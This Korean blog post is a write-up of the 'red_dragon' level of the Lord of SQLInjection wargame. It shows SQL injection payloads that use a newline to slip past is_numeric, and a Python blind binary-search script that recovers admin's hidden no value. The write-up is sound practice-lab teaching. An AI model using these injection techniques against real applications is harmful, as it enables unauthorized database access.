Yozzang의 해킹일기 💻
article thumbnail
728x90

이번 포스트에서는 Lord of SQLInjection의 red_dragon문제에 대해 다루겠다.


문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.

red_dragon

## 문제 해석 :

해당 문제는 preg_match() 함수를 통해 prob, _, .을 필터링하고 있다는 것을 알 수 있다.

strlen() 함수를 통해 id값의 길이를 7자 이하로 제한하고 있다.

no값이 숫자인 경우에 그대로 쓰이고 아닌 경우에는 1로 변경된다.

또한 no의 값을 알아야 문제를 해결할 수 있는 것으로 보인다.

## 문제 풀이 :

해당 문제는 글자 제한이 걸려있으므로 최대한 짧은 쿼리문을 사용하여 no의 값을 알아내야 한다.

 

또한 is_numeric() 함수는 공백 문자 등을 인식하지 못하는 점을 활용하여 공격해보겠다.

### 사용할 공격문 : id='||no>%23&no=%0a100000

### 실행 결과 :

1차 시도

우리가 입력한 쿼리문이 id='' or no > #' and no= 100000이 된 셈이다.

 

지금 admin이 출력된 것을 보니 admin의 no값이 상당히 크다는 것을 알 수 있다. 따라서 파이썬 자동화 코드를 활용해서 no 값을 알아보겠다. 

### 공격 코드 :

url = "https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?"  # 공격 사이트
cookies = {'PHPSESSID': '세션ID'}  # 본인의 세션값

round = 0  # round 초기화
LEFT = 100000000  # admin's no의 최소 값 (임의 설정)
RIGHT = 1000000000  # admin's no의 최대 값 (임의 설정)
while 1:  # while문 실행
    # pw_len += 1  # 비밀번호 길이 + 1
    mid = (LEFT + RIGHT) // 2  # 중간 값 초기화
    url_param = url + f"id='||no<%23&no=%0a{mid}"  # 파라미터 작성
    response = requests.get(url_param, cookies=cookies)  # 요청

    if LEFT > RIGHT:  # LEFT가 RIGHT보다 클 때, 즉 값을 찾았을 경우
        print("\033[31m" + f"[+] THE ADMIN'S NO : {mid}")  # 결과 출력
        break  # 탈출

    if "Hello admin" in response.text:  # Hello admin이 응답에 있다면
        round += 1  # round + 1
        print("\033[94m" + f"[-] ROUND {round} | NO > {mid}")  # 결과 출력
        RIGHT = mid - 1  # RIGHT에 mid - 1 의 값 대입

    else:
        round += 1  # round + 1
        print("\033[93m" + f"[-] ROUND {round} | NO < {mid}")  # 결과 출력
        LEFT = mid + 1  # RIGHT에 mid - 1 의 값 대입

### 실행 결과 : 

실행 결과 (admin's no)

 

### 최종 공격문 : id=admin&no=586482014

### 실행 결과 : 

공격 성공

profile

Yozzang의 해킹일기 💻

@요짱

포스팅이 좋았다면 "좋아요❤️" 또는 "구독👍🏻" 해주세요!